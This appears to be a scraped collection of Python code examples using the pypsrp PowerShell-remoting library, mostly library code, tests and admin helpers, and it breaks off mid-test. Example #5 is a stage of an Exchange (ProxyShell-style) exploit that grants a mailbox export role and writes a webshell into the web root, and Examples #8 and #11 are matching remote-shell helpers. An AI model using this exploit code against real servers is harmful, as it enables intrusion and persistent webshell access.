Example #1
0
    def _exec_psrp_script(self,
                          script,
                          input_data=None,
                          use_local_scope=True,
                          force_stop=False,
                          arguments=None):
        ps = PowerShell(self.runspace)
        ps.add_script(script, use_local_scope=use_local_scope)
        if arguments:
            for arg in arguments:
                ps.add_argument(arg)

        ps.invoke(input=input_data)

        rc, stdout, stderr = self._parse_pipeline_result(ps)

        if force_stop:
            # This is usually not needed because we close the Runspace after our exec and we skip the call to close the
            # pipeline manually to save on some time. Set to True when running multiple exec calls in the same runspace.

            # Current pypsrp versions raise an exception if the current state was not RUNNING. We manually set it so we
            # can call stop without any issues.
            ps.state = PSInvocationState.RUNNING
            ps.stop()

        return rc, stdout, stderr
Example #2
0
    def _exec_psrp_script(self,
                          script,
                          input_data=None,
                          use_local_scope=True,
                          arguments=None):
        # Check if there's a command on the current pipeline that still needs to be closed.
        if self._last_pipeline:
            # Current pypsrp versions raise an exception if the current state was not RUNNING. We manually set it so we
            # can call stop without any issues.
            self._last_pipeline.state = PSInvocationState.RUNNING
            self._last_pipeline.stop()
            self._last_pipeline = None

        ps = PowerShell(self.runspace)
        ps.add_script(script, use_local_scope=use_local_scope)
        if arguments:
            for arg in arguments:
                ps.add_argument(arg)

        ps.invoke(input=input_data)

        rc, stdout, stderr = self._parse_pipeline_result(ps)

        # We should really call .stop() on all pipelines that are run to decrement the concurrent command counter on
        # PSSession but that involves another round trip and is done when the runspace is closed. We instead store the
        # last pipeline which is closed if another command is run on the runspace.
        self._last_pipeline = ps

        return rc, stdout, stderr
    def invoke_script(self, script, expect_json=False):
        wsman = WSMan(self.host,
                      auth="kerberos",
                      cert_validation=False,
                      ssl=True)
        with RunspacePool(wsman,
                          configuration_name=self.configuration_name) as pool:
            ps = PowerShell(pool)
            ps.add_script(script)
            ps.invoke()
            if ps.had_errors:
                error_messages = []
                for i in ps.streams.error:
                    error_messages.append(i.message)
                raise RuntimeError(error_messages)
            else:
                if expect_json:
                    output = [json.loads(x) for x in ps.output]
                else:
                    output = PSRP_Wrapper._convertto_json_compatible(ps.output)

                stream_names = [
                    "debug", "error", "information", "verbose", "warning"
                ]
                streams = dict()
                for i in stream_names:
                    streams[i] = []
                    for j in getattr(ps.streams, i):
                        streams[i].append(j.message)
                return {"output": output, "streams": streams}
Example #4
0
    def _exec_psrp_script(self, script, input_data=None, use_local_scope=True):
        ps = PowerShell(self.runspace)
        ps.add_script(script, use_local_scope=use_local_scope)
        ps.invoke(input=input_data)

        rc, stdout, stderr = self._parse_pipeline_result(ps)
        return rc, stdout, stderr
Example #5
0
def exploit_stage4(target, auth_b64, alias_name, subject, fShell):
    logger.debug("[Stage 4] Dealing with WSMV")
    wsman = WSMan(server=target, port=443,
    path='/autodiscover/[email protected]/Powershell?X-Rps-CAT=' + auth_b64 +'&Email=autodiscover/autodiscover.json%[email protected]', 
    ssl="true", 
    cert_validation=False)
    logger.debug("[Stage 4] Dealing with PSRP")
    with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
        logger.debug("[Stage 4] Assign Management Role")
        ps = PowerShell(pool)
        #ps.add_cmdlet("Get-User")
        ps.add_cmdlet("New-ManagementRoleAssignment")
        ps.add_parameter("Role", "Mailbox Import Export")
        ps.add_parameter("SecurityGroup", "Organization Management")
        output = ps.invoke()
        
    with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
        
        logger.debug("[Stage 4] Exporting MailBox as Webshell")
        ps = PowerShell(pool)
        ps.add_cmdlet("New-MailboxExportRequest")
        ps.add_parameter("Mailbox", alias_name)
        ps.add_parameter("Name", subject)
        ps.add_parameter("ContentFilter", "Subject -eq '%s'" % (subject))
        ps.add_parameter("FilePath", "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell)
        output = ps.invoke()
        logger.debug("[Stage 4] Webshell Path: c:\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell)

    with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
        
        logger.debug("[Stage 4] Cleaning Notification")
        ps = PowerShell(pool)
        ps.add_script("Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false")
        output = ps.invoke()
Example #6
0
    def test_psrp(self, functional_transports):
        for wsman in functional_transports:
            with RunspacePool(wsman) as pool:
                pool.exchange_keys()
                ps = PowerShell(pool)
                ps.add_cmdlet("Get-Item").add_parameter("Path", "C:\\Windows")
                ps.add_statement()

                sec_string = pool.serialize(u"super secret", ObjectMeta("SS"))
                ps.add_cmdlet("Set-Variable")
                ps.add_parameter("Name", "password")
                ps.add_parameter("Value", sec_string)

                ps.add_statement().add_script(
                    "[System.Runtime.InteropServices.marshal]"
                    "::PtrToStringAuto([System.Runtime.InteropServices.marshal]"
                    "::SecureStringToBSTR($password))")
                ps.add_statement().add_cmdlet("ConvertTo-SecureString")
                ps.add_parameter("String", "host secret")
                ps.add_parameter("AsPlainText")
                ps.add_parameter("Force")

                large_string = "hello world " * 3000
                ps.add_statement()
                ps.add_script("$VerbosePreference = 'Continue'; "
                              "Write-Verbose '%s'" % large_string)

                actual = ps.invoke()

            assert ps.had_errors is False
            assert len(actual) == 3
            assert str(actual[0]) == "C:\\Windows"
            assert actual[1] == u"super secret"
            assert actual[2] == u"host secret"
            assert str(ps.streams.verbose[0]) == large_string
Example #7
0
    def fetch(
        self,
        src: str,
        dest: str,
        configuration_name: str = DEFAULT_CONFIGURATION_NAME,
        expand_variables: bool = False,
    ) -> None:
        """
        Will fetch a single file from the remote Windows host and create a
        local copy. Like copy(), this can be slow when it comes to fetching
        large files due to the limitation of WinRM.

        This method will first store the file in a temporary location before
        creating or replacing the file at dest if the checksum is correct.

        :param src: The path to the file on the remote host to fetch
        :param dest: The path on the localhost host to store the file as
        :param configuration_name: The PowerShell configuration endpoint to
            use when fetching the file.
        :param expand_variables: Expand variables in path. Disabled by default
            Enable for cmd like expansion (for example %TMP% in path)
        """
        if expand_variables:
            dest = os.path.expanduser(os.path.expandvars(dest))
        log.info("Fetching '%s' to '%s'" % (src, dest))

        with RunspacePool(self.wsman,
                          configuration_name=configuration_name) as pool:
            script = get_pwsh_script("fetch.ps1")
            powershell = PowerShell(pool)
            powershell.add_script(script).add_argument(src).add_argument(
                expand_variables)

            log.debug("Starting remote process to output file data")
            powershell.invoke()
            _handle_powershell_error(powershell,
                                     "Failed to fetch file %s" % src)
            log.debug("Finished remote process to output file data")

            expected_hash = powershell.output[-1]

            temp_file, path = tempfile.mkstemp()
            try:
                file_bytes = base64.b64decode(powershell.output[0])
                os.write(temp_file, file_bytes)

                sha1 = hashlib.sha1()
                sha1.update(file_bytes)
                actual_hash = sha1.hexdigest()

                log.debug("Remote Hash: %s, Local Hash: %s" %
                          (expected_hash, actual_hash))
                if actual_hash != expected_hash:
                    raise WinRMError("Failed to fetch file %s, hash mismatch\n"
                                     "Source: %s\nFetched: %s" %
                                     (src, expected_hash, actual_hash))
                shutil.copy(path, dest)
            finally:
                os.close(temp_file)
                os.remove(path)
Example #8
0
def shell(command, port):
    if command.lower() in ['exit', 'quit']:
        exit(0)
    wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
    with RunspacePool(wsman) as pool:
        ps = PowerShell(pool)
        ps.add_script(command)
        output = ps.invoke()
Example #9
0
async def start_vm(info: VMInfo):
    """
    Invoke command to start virtual machine with given VM ID
    :param info: VM ID of virtual machine to be started
    """
    with RunspacePool(connection=WSMan(**connection_settings)) as pool:
        ps = PowerShell(pool)
        ps.add_script("$server = Get-SCVMMServer -ComputerName localhost"
                      ).add_script("Get-SCVirtualMachine -VMMServer $server |"
                                   " ? {$_.VMId -eq \"" + info.vmid + "\" } |"
                                   " Start-SCVirtualMachine").begin_invoke()
Example #10
0
    def test_psrp_pshost_methods(self, wsman_conn):
        host = PSHost(None, None, False, "host name", None, None, "1.0")

        with RunspacePool(wsman_conn, host=host) as pool:
            ps = PowerShell(pool)
            # SetShouldExit is really the only one that seems to work so
            # we will just test that
            ps.add_script('$host.CurrentCulture; $host.SetShouldExit(1)')
            actual = ps.invoke()
            assert len(actual) == 1
            assert str(actual[0]) == "en-US"
            assert isinstance(actual[0], CultureInfo)
            assert host.rc == 1
Example #11
0
def shell(command, port):

    # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
    if command.lower() in ['exit', 'quit']:
        exit()

    wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
    with RunspacePool(wsman) as pool:
        ps = PowerShell(pool)
        ps.add_script(command)
        output = ps.invoke()

    print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
    print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))
Example #12
0
async def list_vms(domain: str, username: str):
    """
    Returns a list of available virtual machines for given user
    :param domain: NTDOMAIN of the user
    :param username: username of the user
    :return: list of dicts with virtual machines data
    """
    domain = domain.upper()
    username = username.lower()

    if LIST_SCRIPT is None:
        return Response(status_code=500,
                        content="Server error: script not found.")

    with RunspacePool(connection=WSMan(**connection_settings)) as lpool:
        ps = PowerShell(lpool)
        ps.add_script(
            script=LIST_SCRIPT).add_argument(domain).add_argument(username)
        try:
            psresult = ps.invoke()
        except ReadTimeout:
            return Response(status_code=504,
                            content="SCVMM is not available now.")

    if len(psresult) == 0 and ps.had_errors:
        return Response(status_code=500,
                        content="SCVMM-API internal error occured.")

    if psresult:
        logging.info(
            f"Data for {domain}\\{username} returned, length: {len(psresult)}")

    return [
        VM(Name=x.extended_properties.get("Name", "-"),
           ID=x.extended_properties.get("VMId", "-"),
           VirtualMachineState=x.extended_properties.get(
               'VirtualMachineState', "-"),
           MostRecentTask=x.extended_properties.get('MostRecentTask', "-"),
           MostRecentTaskUIState=x.extended_properties.get(
               'MostRecentTaskUIState', "-"),
           VMHost=x.extended_properties.get('VMHost', "-")) for x in psresult
    ]
Example #13
0
    def invoke_powershell(self, script: str) -> PowerShell:
        with RunspacePool(self._client) as pool:
            ps = PowerShell(pool)
            ps.add_script(script)
            ps.begin_invoke()
            streams = [
                (ps.output, self._log_output),
                (ps.streams.debug, self._log_record),
                (ps.streams.information, self._log_record),
                (ps.streams.error, self._log_record),
            ]
            offsets = [0 for _ in streams]

            # We're using polling to make sure output and streams are
            # handled while the process is running.
            while ps.state == PSInvocationState.RUNNING:
                sleep(self._poll_interval)
                ps.poll_invoke()

                for (i, (stream, handler)) in enumerate(streams):
                    offset = offsets[i]
                    while len(stream) > offset:
                        handler(stream[offset])
                        offset += 1
                    offsets[i] = offset

            # For good measure, we'll make sure the process has
            # stopped running.
            ps.end_invoke()

            if ps.streams.error:
                raise AirflowException("Process had one or more errors")

            self.log.info("Invocation state: %s",
                          str(PSInvocationState(ps.state)))
            return ps
Example #14
0
    def test_psrp_pshost_raw_ui_mocked_methods(self, wsman_conn,
                                               monkeypatch):
        # in a mocked context the calculated size differs on a few variables
        # we will mock out that call and return the ones used in our existing
        # responses
        mock_calc = MagicMock()
        mock_calc.side_effect = [113955, 382750]

        key_info = KeyInfo(code=65, character="a",
                           state=ControlKeyState.CapsLockOn, key_down=True)

        set_foreground_color = MagicMock(return_value=None)
        set_background_color = MagicMock(return_value=None)
        set_cursor_position = MagicMock(return_value=None)
        set_window_position = MagicMock(return_value=None)
        set_cursor_size = MagicMock(return_value=None)
        set_buffer_size = MagicMock(return_value=None)
        set_window_size = MagicMock(return_value=None)
        set_window_title = MagicMock(return_value=None)
        read_key = MagicMock(return_value=key_info)
        flush_input = MagicMock(return_value=None)
        set_buffer1 = MagicMock(return_value=None)
        set_buffer2 = MagicMock(return_value=None)
        scroll_buffer = MagicMock(return_value=None)

        window_title = "pypsrp window"
        cursor_size = 50
        foreground_color = Color(value=Color.WHITE)
        background_color = Color(value=Color.BLUE)
        cursor_position = Coordinates(x=1, y=2)
        window_position = Coordinates(x=3, y=4)
        buffer_size = Size(width=80, height=80)
        max_physical_window_size = Size(width=80, height=80)
        max_window_size = Size(width=80, height=80)
        window_size = Size(width=80, height=80)

        host_raw_ui = PSHostRawUserInterface(window_title, cursor_size,
                                             foreground_color,
                                             background_color, cursor_position,
                                             window_position, buffer_size,
                                             max_physical_window_size,
                                             max_window_size, window_size)
        host_raw_ui.SetForegroundColor = set_foreground_color
        host_raw_ui.SetBackgroundColor = set_background_color
        host_raw_ui.SetCursorPosition = set_cursor_position
        host_raw_ui.SetWindowPosition = set_window_position
        host_raw_ui.SetCursorSize = set_cursor_size
        host_raw_ui.SetBufferSize = set_buffer_size
        host_raw_ui.SetWindowSize = set_window_size
        host_raw_ui.SetWindowTitle = set_window_title
        host_raw_ui.ReadKey = read_key
        host_raw_ui.FlushInputBuffer = flush_input
        host_raw_ui.SetBufferContents1 = set_buffer1
        host_raw_ui.SetBufferContents2 = set_buffer2
        host_raw_ui.ScrollBufferContents = scroll_buffer

        host_ui = PSHostUserInterface(host_raw_ui)
        host = PSHost(None, None, False, None, None, host_ui, None)

        with RunspacePool(wsman_conn, host=host) as pool:
            ps = PowerShell(pool)
            ps.add_script('''$host.UI.RawUI.ForegroundColor
$host.UI.RawUI.ForegroundColor = [System.ConsoleColor]::Green
$host.UI.RawUI.ForegroundColor

$host.UI.RawUI.BackgroundColor
$host.UI.RawUI.BackgroundColor = [System.ConsoleColor]::Red
$host.UI.RawUI.BackgroundColor

$host.UI.RawUI.CursorPosition
$host.UI.RawUI.CursorPosition = (New-Object -TypeName System.Management.Automation.Host.Coordinates -ArgumentList 11, 12)
$host.UI.RawUI.CursorPosition

$host.UI.RawUI.WindowPosition
$host.UI.RawUI.WindowPosition = (New-Object -TypeName System.Management.Automation.Host.Coordinates -ArgumentList 13, 14)
$host.UI.RawUI.WindowPosition

$host.UI.RawUI.CursorSize
$host.UI.RawUI.CursorSize = 25
$host.UI.RawUI.CursorSize

$host.UI.RawUI.BufferSize
$host.UI.RawUI.BufferSize = (New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList 8, 9)
$host.UI.RawUI.BufferSize

$host.UI.RawUI.WindowSize
$host.UI.RawUI.WindowSize = (New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList 8, 9)
$host.UI.RawUI.WindowSize

$host.UI.RawUI.WindowTitle
$host.UI.RawUI.WindowTitle = "New Window Title"
$host.UI.RawUI.WindowTitle

$host.UI.RawUI.ReadKey()

$host.UI.RawUI.FlushInputBuffer()

$buffer_cell = New-Object -TypeName System.Management.Automation.Host.BufferCell -ArgumentList "Z", ([System.ConsoleColor]::Red), ([System.ConsoleColor]::Green), ([System.Management.Automation.Host.BufferCellType]::Complete)
$rectangle = New-Object -TypeName System.Management.Automation.Host.Rectangle -ArgumentList 1, 2, 3, 4
$host.UI.RawUI.SetBufferContents($rectangle, $buffer_cell)

$coordinates = New-Object -TypeName System.Management.Automation.Host.Coordinates -ArgumentList 15, 15

$buffer_cell1_1 = New-Object -TypeName System.Management.Automation.Host.BufferCell -ArgumentList "A", ([System.ConsoleColor]::Black), ([System.ConsoleColor]::White), ([System.Management.Automation.Host.BufferCellType]::Leading)
$buffer_cell1_2 = New-Object -TypeName System.Management.Automation.Host.BufferCell -ArgumentList "B", ([System.ConsoleColor]::Black), ([System.ConsoleColor]::White), ([System.Management.Automation.Host.BufferCellType]::Trailing)
$buffer_cell2_1 = New-Object -TypeName System.Management.Automation.Host.BufferCell -ArgumentList "C", ([System.ConsoleColor]::Black), ([System.ConsoleColor]::White), ([System.Management.Automation.Host.BufferCellType]::Leading)
$buffer_cell2_2 = New-Object -TypeName System.Management.Automation.Host.BufferCell -ArgumentList "D", ([System.ConsoleColor]::Black), ([System.ConsoleColor]::White), ([System.Management.Automation.Host.BufferCellType]::Trailing)

$cells = New-Object -TypeName "System.Management.Automation.Host.BufferCell[,]" -ArgumentList 2,2
$cells[0,0] = $buffer_cell1_1
$cells[0,1] = $buffer_cell1_2
$cells[1,1] = $buffer_cell2_2
$cells[1,0] = $buffer_cell2_1
$host.UI.RawUI.SetBufferContents($coordinates, $cells)

$host.UI.RawUI.ScrollBufferContents($rectangle, $coordinates, $rectangle, $buffer_cell)''')
            actual = ps.invoke()

        assert len(actual) == 17

        assert str(actual[0]) == "White"
        assert str(actual[1]) == "Green"
        assert set_foreground_color.call_count == 1
        assert isinstance(set_foreground_color.call_args[0][0], RunspacePool)
        assert isinstance(set_foreground_color.call_args[0][1], PowerShell)
        assert set_foreground_color.call_args[0][2] == Color.GREEN

        assert str(actual[2]) == "Blue"
        assert str(actual[3]) == "Red"
        assert set_background_color.call_count == 1
        assert isinstance(set_background_color.call_args[0][0], RunspacePool)
        assert isinstance(set_background_color.call_args[0][1], PowerShell)
        assert set_background_color.call_args[0][2] == Color.RED

        assert str(actual[4]) == "1,2"
        assert str(actual[5]) == "11,12"
        assert set_cursor_position.call_count == 1
        assert isinstance(set_cursor_position.call_args[0][0], RunspacePool)
        assert isinstance(set_cursor_position.call_args[0][1], PowerShell)
        assert set_cursor_position.call_args[0][2].extended_properties['x'] \
            == 11
        assert set_cursor_position.call_args[0][2].extended_properties['y'] \
            == 12

        assert str(actual[6]) == "3,4"
        assert str(actual[7]) == "13,14"
        assert set_window_position.call_count == 1
        assert isinstance(set_window_position.call_args[0][0], RunspacePool)
        assert isinstance(set_window_position.call_args[0][1], PowerShell)
        assert set_window_position.call_args[0][2].extended_properties['x'] \
            == 13
        assert set_window_position.call_args[0][2].extended_properties['y'] \
            == 14

        assert actual[8] == 50
        assert actual[9] == 25
        assert set_cursor_size.call_count == 1
        assert isinstance(set_cursor_size.call_args[0][0], RunspacePool)
        assert isinstance(set_cursor_size.call_args[0][1], PowerShell)
        assert set_cursor_size.call_args[0][2] == 25

        assert str(actual[10]) == "80,80"
        assert str(actual[11]) == "8,9"
        assert set_buffer_size.call_count == 1
        assert isinstance(set_buffer_size.call_args[0][0], RunspacePool)
        assert isinstance(set_buffer_size.call_args[0][1], PowerShell)
        assert isinstance(set_buffer_size.call_args[0][2],
                          GenericComplexObject)
        assert set_buffer_size.call_args[0][2].extended_properties['width'] \
            == 8
        assert set_buffer_size.call_args[0][2].extended_properties['height'] \
            == 9

        assert str(actual[12]) == "80,80"
        assert str(actual[13]) == "8,9"
        assert set_window_size.call_count == 1
        assert isinstance(set_window_size.call_args[0][0], RunspacePool)
        assert isinstance(set_window_size.call_args[0][1], PowerShell)
        assert isinstance(set_window_size.call_args[0][2],
                          GenericComplexObject)
        assert set_window_size.call_args[0][2].extended_properties['width'] \
            == 8
        assert set_window_size.call_args[0][2].extended_properties['height'] \
            == 9

        assert actual[14] == "pypsrp window"
        assert actual[15] == "New Window Title"
        assert set_window_title.call_count == 1
        assert isinstance(set_window_title.call_args[0][0], RunspacePool)
        assert isinstance(set_window_title.call_args[0][1], PowerShell)
        assert set_window_title.call_args[0][2] == "New Window Title"

        assert str(actual[16]) == "65,a,CapsLockOn,True"
        assert isinstance(actual[16], KeyInfoDotNet)
        assert read_key.call_count == 1
        assert isinstance(read_key.call_args[0][0], RunspacePool)
        assert isinstance(read_key.call_args[0][1], PowerShell)
        assert read_key.call_args[0][2] == 4

        assert flush_input.call_count == 1
        assert isinstance(flush_input.call_args[0][0], RunspacePool)
        assert isinstance(flush_input.call_args[0][1], PowerShell)

        assert set_buffer1.call_count == 1
        assert isinstance(set_buffer1.call_args[0][0], RunspacePool)
        assert isinstance(set_buffer1.call_args[0][1], PowerShell)
        assert isinstance(set_buffer1.call_args[0][2], GenericComplexObject)
        assert set_buffer1.call_args[0][2].extended_properties['left'] == 1
        assert set_buffer1.call_args[0][2].extended_properties['top'] == 2
        assert set_buffer1.call_args[0][2].extended_properties['right'] == 3
        assert set_buffer1.call_args[0][2].extended_properties['bottom'] == 4
        fill = set_buffer1.call_args[0][3]
        assert isinstance(fill, GenericComplexObject)
        assert fill.extended_properties['character'] == "Z"
        assert fill.extended_properties['foregroundColor'] == 12
        assert fill.extended_properties['backgroundColor'] == 10
        assert fill.extended_properties['bufferCellType'] == 0

        assert set_buffer2.call_count == 1
        assert isinstance(set_buffer2.call_args[0][0], RunspacePool)
        assert isinstance(set_buffer2.call_args[0][1], PowerShell)
        assert isinstance(set_buffer2.call_args[0][2], GenericComplexObject)
        assert set_buffer2.call_args[0][2].extended_properties['x'] == 15
        assert set_buffer2.call_args[0][2].extended_properties['y'] == 15
        assert isinstance(set_buffer2.call_args[0][3], GenericComplexObject)
        assert set_buffer2.call_args[0][3].extended_properties['mal'] == [2, 2]
        set_contents = set_buffer2.call_args[0][3].extended_properties['mae']
        assert len(set_contents) == 4
        assert set_contents[0].extended_properties['character'] == "A"
        assert set_contents[0].extended_properties['foregroundColor'] == 0
        assert set_contents[0].extended_properties['backgroundColor'] == 15
        assert set_contents[0].extended_properties['bufferCellType'] == 1
        assert set_contents[1].extended_properties['character'] == "B"
        assert set_contents[1].extended_properties['foregroundColor'] == 0
        assert set_contents[1].extended_properties['backgroundColor'] == 15
        assert set_contents[1].extended_properties['bufferCellType'] == 2
        assert set_contents[2].extended_properties['character'] == "C"
        assert set_contents[2].extended_properties['foregroundColor'] == 0
        assert set_contents[2].extended_properties['backgroundColor'] == 15
        assert set_contents[2].extended_properties['bufferCellType'] == 1
        assert set_contents[3].extended_properties['character'] == "D"
        assert set_contents[3].extended_properties['foregroundColor'] == 0
        assert set_contents[3].extended_properties['backgroundColor'] == 15
        assert set_contents[3].extended_properties['bufferCellType'] == 2

        assert scroll_buffer.call_count == 1
        assert isinstance(scroll_buffer.call_args[0][0], RunspacePool)
        assert isinstance(scroll_buffer.call_args[0][1], PowerShell)
        source = scroll_buffer.call_args[0][2]
        assert isinstance(source, GenericComplexObject)
        assert source.extended_properties['left'] == 1
        assert source.extended_properties['top'] == 2
        assert source.extended_properties['right'] == 3
        assert source.extended_properties['bottom'] == 4
        destination = scroll_buffer.call_args[0][3]
        assert isinstance(destination, GenericComplexObject)
        assert destination.extended_properties['x'] == 15
        assert destination.extended_properties['y'] == 15
        clip = scroll_buffer.call_args[0][4]
        assert isinstance(clip, GenericComplexObject)
        assert clip.extended_properties['left'] == 1
        assert clip.extended_properties['top'] == 2
        assert clip.extended_properties['right'] == 3
        assert clip.extended_properties['bottom'] == 4
        fill = scroll_buffer.call_args[0][5]
        assert isinstance(fill, GenericComplexObject)
        assert fill.extended_properties['character'] == "Z"
        assert fill.extended_properties['foregroundColor'] == 12
        assert fill.extended_properties['backgroundColor'] == 10
        assert fill.extended_properties['bufferCellType'] == 0
Example #15
0
    def test_psrp_pshost_ui_mocked_methods(self, wsman_conn, monkeypatch):
        # This tests that the args from an actual host call match up with our
        # definitions
        monkeypatch.setattr('cryptography.hazmat.primitives.asymmetric.rsa.'
                            'generate_private_key', gen_rsa_keypair)

        mock_read_line = MagicMock(return_value="ReadLine response")
        mock_read_line_as_ss = MagicMock()
        mock_write1 = MagicMock(return_value=None)
        mock_write2 = MagicMock(return_value=None)
        mock_write_line1 = MagicMock(return_value=None)
        mock_write_line2 = MagicMock(return_value=None)
        mock_write_line3 = MagicMock(return_value=None)
        mock_write_error = MagicMock(return_value=None)
        mock_write_debug = MagicMock(return_value=None)
        mock_write_progress = MagicMock(return_value=None)
        mock_write_verbose = MagicMock(return_value=None)
        mock_write_warning = MagicMock(return_value=None)
        mock_prompt = MagicMock(return_value={
            "prompt field": "prompt response",
        })
        mock_prompt_credential = MagicMock()
        mock_prompt_choice = MagicMock(return_value=1)

        host_ui = PSHostUserInterface()
        host_ui.ReadLine = mock_read_line
        host_ui.ReadLineAsSecureString = mock_read_line_as_ss
        host_ui.Write1 = mock_write1
        host_ui.Write2 = mock_write2
        host_ui.WriteLine1 = mock_write_line1
        host_ui.WriteLine2 = mock_write_line2
        host_ui.WriteLine3 = mock_write_line3
        host_ui.WriteErrorLine = mock_write_error
        host_ui.WriteDebugLine = mock_write_debug
        host_ui.WriteProgress = mock_write_progress
        host_ui.WriteVerboseLine = mock_write_verbose
        host_ui.WriteWarningLine = mock_write_warning
        host_ui.Prompt = mock_prompt
        # seems like PS never calls PromptForCredential1 so we will skip that
        host_ui.PromptForCredential2 = mock_prompt_credential
        host_ui.PromptForChoice = mock_prompt_choice

        host = PSHost(None, None, False, None, None, host_ui, None)

        with RunspacePool(wsman_conn, host=host) as pool:
            pool.exchange_keys()
            mock_read_line_as_ss.return_value = pool.serialize(
                u"ReadLineAsSecureString response", ObjectMeta("SS")
            )
            mock_ps_credential = PSCredential(username="******",
                                              password=u"password")
            mock_prompt_credential.return_value = mock_ps_credential

            ps = PowerShell(pool)
            ps.add_script('''$host.UI.ReadLine()
$host.UI.ReadLineAsSecureString()
$host.UI.Write("Write1")
$host.UI.Write([System.ConsoleColor]::Blue, [System.ConsoleColor]::White, "Write2")
$host.UI.WriteLine()
$host.UI.WriteLine("WriteLine2")
$host.UI.WriteLine([System.ConsoleColor]::Gray, [System.ConsoleColor]::Green, "WriteLine3")
$host.UI.WriteErrorLine("WriteErrorLine")
$host.UI.WriteDebugLine("WriteDebugLine")
$host.UI.WriteProgress(1, (New-Object -TypeName System.Management.Automation.ProgressRecord -ArgumentList 2, "activity", "description"))
$host.UI.WriteVerboseLine("WriteVerboseLine")
$host.UI.WriteWarningLine("WriteWarningLine")

$prompt_field = New-Object -TypeName System.Management.Automation.Host.FieldDescription -ArgumentList @("prompt field")
$prompt_field.Label = "PromptLabel"
$host.UI.Prompt("Prompt caption", "Prompt message", $prompt_field)

$host.UI.PromptForCredential("PromptForCredential caption", "PromptForCredential message", "PromptForCredential user", "PromptForCredential target")

$choice_field1 = New-Object -TypeName System.Management.Automation.Host.ChoiceDescription -ArgumentList "Prompt1 label", "Prompt1 help"
$choice_field2 = New-Object -TypeName System.Management.Automation.Host.ChoiceDescription -ArgumentList "Prompt2 label", "Prompt2 help"
$host.UI.PromptForChoice("PromptForChoice caption", "PromptForChoice message", @($choice_field1, $choice_field2), 0)''')
            actual = ps.invoke()

        assert len(actual) == 5

        assert actual[0] == "ReadLine response"
        assert mock_read_line.call_count == 1
        assert isinstance(mock_read_line.call_args[0][0], RunspacePool)
        assert isinstance(mock_read_line.call_args[0][1], PowerShell)

        assert actual[1] == "ReadLineAsSecureString response"
        assert mock_read_line_as_ss.call_count == 1
        assert isinstance(mock_read_line_as_ss.call_args[0][0],
                          RunspacePool)
        assert isinstance(mock_read_line_as_ss.call_args[0][1], PowerShell)

        assert mock_write1.call_count == 1
        assert isinstance(mock_write1.call_args[0][0], RunspacePool)
        assert isinstance(mock_write1.call_args[0][1], PowerShell)
        assert mock_write1.call_args[0][2] == "Write1"

        assert mock_write2.call_count == 1
        assert isinstance(mock_write2.call_args[0][0], RunspacePool)
        assert isinstance(mock_write2.call_args[0][1], PowerShell)
        assert mock_write2.call_args[0][2] == Color.BLUE
        assert mock_write2.call_args[0][3] == Color.WHITE
        assert mock_write2.call_args[0][4] == "Write2"

        assert mock_write_line1.call_count == 1
        assert isinstance(mock_write_line1.call_args[0][0], RunspacePool)
        assert isinstance(mock_write_line1.call_args[0][1], PowerShell)

        assert mock_write_line2.call_count == 1
        assert isinstance(mock_write_line2.call_args[0][0], RunspacePool)
        assert isinstance(mock_write_line2.call_args[0][1], PowerShell)
        assert mock_write_line2.call_args[0][2] == "WriteLine2"

        assert mock_write_line3.call_count == 1
        assert isinstance(mock_write_line3.call_args[0][0], RunspacePool)
        assert isinstance(mock_write_line3.call_args[0][1], PowerShell)
        assert mock_write_line3.call_args[0][2] == Color.GRAY
        assert mock_write_line3.call_args[0][3] == Color.GREEN
        assert mock_write_line3.call_args[0][4] == "WriteLine3"

        assert mock_write_error.call_count == 1
        assert isinstance(mock_write_error.call_args[0][0], RunspacePool)
        assert isinstance(mock_write_error.call_args[0][1], PowerShell)
        assert mock_write_error.call_args[0][2] == "WriteErrorLine"

        assert mock_write_debug.call_count == 1
        assert isinstance(mock_write_debug.call_args[0][0], RunspacePool)
        assert isinstance(mock_write_debug.call_args[0][1], PowerShell)
        assert mock_write_debug.call_args[0][2] == "WriteDebugLine"

        # On PSv5 a progress record is always sent, we still sent one
        # ourselves to ensure it works so we verify we received at least
        # one and assert the last
        assert mock_write_progress.call_count > 0
        progress_args = mock_write_progress.call_args_list[-1]
        assert isinstance(progress_args[0][0], RunspacePool)
        assert isinstance(progress_args[0][1], PowerShell)
        assert progress_args[0][2] == 1
        progress_record = pool._serializer.deserialize(
            progress_args[0][3], ObjectMeta("Obj", object=ProgressRecord)
        )
        assert progress_record.activity == "activity"
        assert progress_record.activity_id == 2
        assert progress_record.description == "description"

        assert mock_write_verbose.call_count == 1
        assert isinstance(mock_write_verbose.call_args[0][0], RunspacePool)
        assert isinstance(mock_write_verbose.call_args[0][1], PowerShell)
        assert mock_write_verbose.call_args[0][2] == "WriteVerboseLine"

        assert mock_write_warning.call_count == 1
        assert isinstance(mock_write_warning.call_args[0][0], RunspacePool)
        assert isinstance(mock_write_warning.call_args[0][1], PowerShell)
        assert mock_write_warning.call_args[0][2] == "WriteWarningLine"

        assert actual[2] == {"prompt field": "prompt response"}
        assert mock_prompt.call_count == 1
        assert isinstance(mock_prompt.call_args[0][0], RunspacePool)
        assert isinstance(mock_prompt.call_args[0][1], PowerShell)
        assert mock_prompt.call_args[0][2] == "Prompt caption"
        assert mock_prompt.call_args[0][3] == "Prompt message"
        assert isinstance(mock_prompt.call_args[0][4], list)
        assert len(mock_prompt.call_args[0][4]) == 1
        assert mock_prompt.call_args[0][4][0].extended_properties['name'] == \
            'prompt field'
        assert mock_prompt.call_args[0][4][0].extended_properties['label'] == \
            'PromptLabel'

        assert isinstance(actual[3], PSCredential)
        assert actual[3].username == "username"
        assert actual[3].password == "password"
        assert mock_prompt_credential.call_count == 1
        assert isinstance(mock_prompt_credential.call_args[0][0],
                          RunspacePool)
        assert isinstance(mock_prompt_credential.call_args[0][1],
